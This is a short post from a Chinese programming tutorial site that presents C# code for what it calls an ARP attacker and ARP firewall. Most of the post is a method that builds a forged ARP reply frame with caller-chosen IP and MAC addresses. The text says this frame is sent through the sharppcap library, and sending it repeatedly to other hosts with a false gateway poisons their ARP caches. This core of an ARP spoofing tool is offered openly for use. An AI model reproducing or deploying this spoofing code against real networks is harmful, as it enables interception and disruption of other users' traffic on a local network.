程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> .NET網頁編程 >> C# >> C#入門知識 >> c# 寫的ARP攻擊器和ARP防火牆

c# 寫的ARP攻擊器和ARP防火牆

編輯:C#入門知識

核心代碼貼出了,就是這麼簡單,手動構造ARP數據包,然後通過sharppcap裡的庫發送出去。。。

不停的發給自己正確的網關,那就是ARP防火牆。

不停的發給別人錯誤的網關,那就是ARP攻擊器。


        /// <summary>       

 /// 獲取數據包     

   /// </summary>       

/// <returns></returns>       

public byte[] getPacket(byte[] yIP,byte[] mIP,byte[] yMAC,byte[] mMAC)       

{           

 //ARP數據包           

byte[] packet = new byte[] { 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0x08, 0x06, 0x00, 0x01, 0x08, 0x00, 0x06, 0x04, 0x00, 0x02, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 0xc0, 0xa8, 0x01, 0x01, 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0xc0, 0xa8, 0x01, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5d, 0x27, 0xa1, 0xb5};           

 //循環替換IP         

   for (int i = 0; i < 4; i++)          

  {               

 packet[i + 28] = yIP[i];                              

 packet[i + 38] = mIP[i];           

}           

//循環替換MAC           

 for (int i = 0; i < 6; i++)           

{              

  packet[i+ 22] = yMAC[i];               

 packet[i] = mMAC[i];               

 packet[i+6] = yMAC[i];               

  packet[i + 32] = mMAC[i];          

  }           

 return packet;       

 }

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved